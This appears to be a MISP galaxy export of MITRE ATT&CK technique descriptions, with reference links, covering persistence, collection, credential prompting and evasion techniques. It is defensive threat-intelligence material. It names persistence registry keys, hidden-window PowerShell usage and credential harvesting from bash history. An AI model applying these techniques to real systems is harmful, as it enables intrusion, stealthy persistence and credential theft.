The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

Azure AD

In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death)

AWS

AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)

The tag is: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"

Table 2575. Table References
Links
https://attack.mitre.org/techniques/T1098
https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
https://summitroute.com/blog/2019/04/03/advanced_aws_policy_auditing_confused_deputies_with_aws_services/
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://github.com/gentilkiwi/mimikatz/issues/92

Modify Registry - T1112

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system’s [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.

The tag is: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"

Table 2576. Table References
Links
https://attack.mitre.org/techniques/T1112
https://capec.mitre.org/data/definitions/203.html
https://technet.microsoft.com/en-us/library/cc732643.aspx
https://docs.microsoft.com/sysinternals/downloads/reghide
https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
https://technet.microsoft.com/en-us/library/cc754820.aspx
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull

Authentication Package - T1131

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131"

Table 2577. Table References
Links
https://attack.mitre.org/techniques/T1131
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture - T1113

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.

Mac

On OSX, the native command <code>screencapture</code> is used to capture screenshots.

Linux

On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)

The tag is: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"

Table 2578. Table References
Links
https://attack.mitre.org/techniques/T1113
https://capec.mitre.org/data/definitions/648.html
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Dynamic DNS - T1311

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

The tag is: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"

Dynamic DNS - T1311 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333" with estimative-language:likelihood-probability="almost-certain"

Table 2579. Table References
Links
https://attack.mitre.org/techniques/T1311

Email Collection - T1114

Adversaries may target user email to collect sensitive information from a target.

Files containing email data can be acquired from a user’s system, such as Outlook storage or cache files .pst and .ost.

Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017)

Email Forwarding Rule

Adversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.

The tag is: misp-galaxy:mitre-attack-pattern="Email Collection - T1114"

Table 2580. Table References
Links
https://attack.mitre.org/techniques/T1114
https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/
https://www.us-cert.gov/ncas/alerts/TA18-086A
https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/
https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/

Input Prompt - T1411

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

Impersonate the identity of a legitimate application

A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)

Display a prompt on top of a running legitimate application

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the ActivityManager API.(Citation: Android-getRunningTasks)(Citation: StackOverflow-getRunningAppProcesses). A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Approaches to display a prompt include:

A malicious application could start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the SYSTEM_ALERT_WINDOW permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The SYSTEM_ALERT_WINDOW permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)

Fake device notifications

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"

Table 2581. Table References
Links
https://attack.mitre.org/techniques/T1411
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
http://w2spconf.com/2011/papers/felt-mobilephishing.pdf
https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/
https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29
http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf
https://developer.android.com/guide/components/activities/background-starts
http://cloak-and-dagger.org/
https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/
https://www.skycure.com/blog/accessibility-clickjacking/
https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/
https://www.group-ib.com/blog/gustuff

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

The tag is: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141"

Table 2582. Table References
Links
https://attack.mitre.org/techniques/T1141
https://capec.mitre.org/data/definitions/569.html
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
https://logrhythm.com/blog/do-you-trust-your-computer/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

Clipboard Data - T1115

Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.

Windows

Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard)

Mac

OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents (Citation: Operating with EmPyre).

The tag is: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"

Table 2583. Table References
Links
https://attack.mitre.org/techniques/T1115
https://capec.mitre.org/data/definitions/637.html
https://msdn.microsoft.com/en-us/library/ms649012
http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).

The tag is: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"

Table 2584. Table References
Links
https://attack.mitre.org/techniques/T1161
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf

Code Signing - T1116

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: misp-galaxy:mitre-attack-pattern="Code Signing - T1116"

Table 2585. Table References
Links
https://attack.mitre.org/techniques/T1116
https://en.wikipedia.org/wiki/Code_signing
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
http://www.thesafemac.com/new-signed-malware-called-janicab/

Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.

The tag is: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119"

Table 2586. Table References
Links
https://attack.mitre.org/techniques/T1119

Template Injection - T1221

Microsoft’s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)

The tag is: misp-galaxy:mitre-attack-pattern="Template Injection - T1221"

Table 2587. Table References
Links
https://attack.mitre.org/techniques/T1221
https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)
https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780
http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html
https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104
https://blog.talosintelligence.com/2017/07/template-injection.html
https://github.com/ryhanson/phishery

Audio Capture - T1123

An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

The tag is: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"

Table 2588. Table References
Links
https://attack.mitre.org/techniques/T1123
https://capec.mitre.org/data/definitions/634.html

Data Encoding - T1132

Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132"

Table 2589. Table References
Links
https://attack.mitre.org/techniques/T1132
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Capture Camera - T1512

Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the android.permission.CAMERA permission to access the camera. In iOS, applications must include the NSCameraUsageDescription key in the Info.plist file, and must request access to the camera at runtime.

The tag is: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512"

Table 2590. Table References
Links
https://attack.mitre.org/techniques/T1512
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Video Capture - T1125

An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim’s screen.

In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

The tag is: misp-galaxy:mitre-attack-pattern="Video Capture - T1125"

Table 2591. Table References
Links
https://attack.mitre.org/techniques/T1125
https://capec.mitre.org/data/definitions/634.html
https://objective-see.com/blog/blog_0x25.html

Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user’s context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

The tag is: misp-galaxy:mitre-attack-pattern="Login Item - T1162"

Table 2592. Table References
Links
https://attack.mitre.org/techniques/T1162
https://capec.mitre.org/data/definitions/564.html
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

The tag is: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172"

Table 2593. Table References
Links
https://attack.mitre.org/techniques/T1172
http://www.icir.org/vern/papers/meek-PETS-2015.pdf

AppCert DLLs - T1182

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"

Table 2594. Table References
Links
https://attack.mitre.org/techniques/T1182
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://forum.sysinternals.com/appcertdlls_topic12546.html

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"

Table 2595. Table References
Links
https://attack.mitre.org/techniques/T1192
https://capec.mitre.org/data/definitions/163.html
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks

Obfuscate infrastructure - T1331

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"

Obfuscate infrastructure - T1331 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309" with estimative-language:likelihood-probability="almost-certain"

Table 2596. Table References
Links
https://attack.mitre.org/techniques/T1331

Hidden Window - T1143

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

Windows

There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)

Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)

The tag is: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"

Table 2597. Table References
Links
https://attack.mitre.org/techniques/T1143
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Screen Capture - T1513

Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android MediaProjectionManager (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android screencap or screenrecord commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"

Table 2598. Table References
Links
https://attack.mitre.org/techniques/T1513
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://developer.android.com/reference/android/media/projection/MediaProjectionManager
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf
https://developer.android.com/studio/command-line/adb
https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/

Create Account - T1136

Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

Windows

The <code>net user</code> commands can be used to create a local or domain account.

Office 365

An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Create Account - T1136"

Table 2599. Table References
Links
https://attack.mitre.org/techniques/T1136
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

<code>%WINDIR%\AppPatch\sysmain.sdb</code>
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

The tag is: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138"

Table 2600. Table References
Links
https://attack.mitre.org/techniques/T1138
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf

Authentication attempt - T1381

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

The tag is: misp-galaxy:mitre-attack-pattern="Authentication attempt - T1381"

Table 2601. Table References
Links
https://attack.mitre.org/techniques/T1381

Spearphishing Attachment - T1193

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193"

Table 2602. Table References
Links
https://attack.mitre.org/techniques/T1193
https://capec.mitre.org/data/definitions/163.html

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: misp-galaxy:mitre-attack-pattern="Bash History - T1139"

Table 2603. Table References
Links
https://attack.mitre.org/techniques/T1139
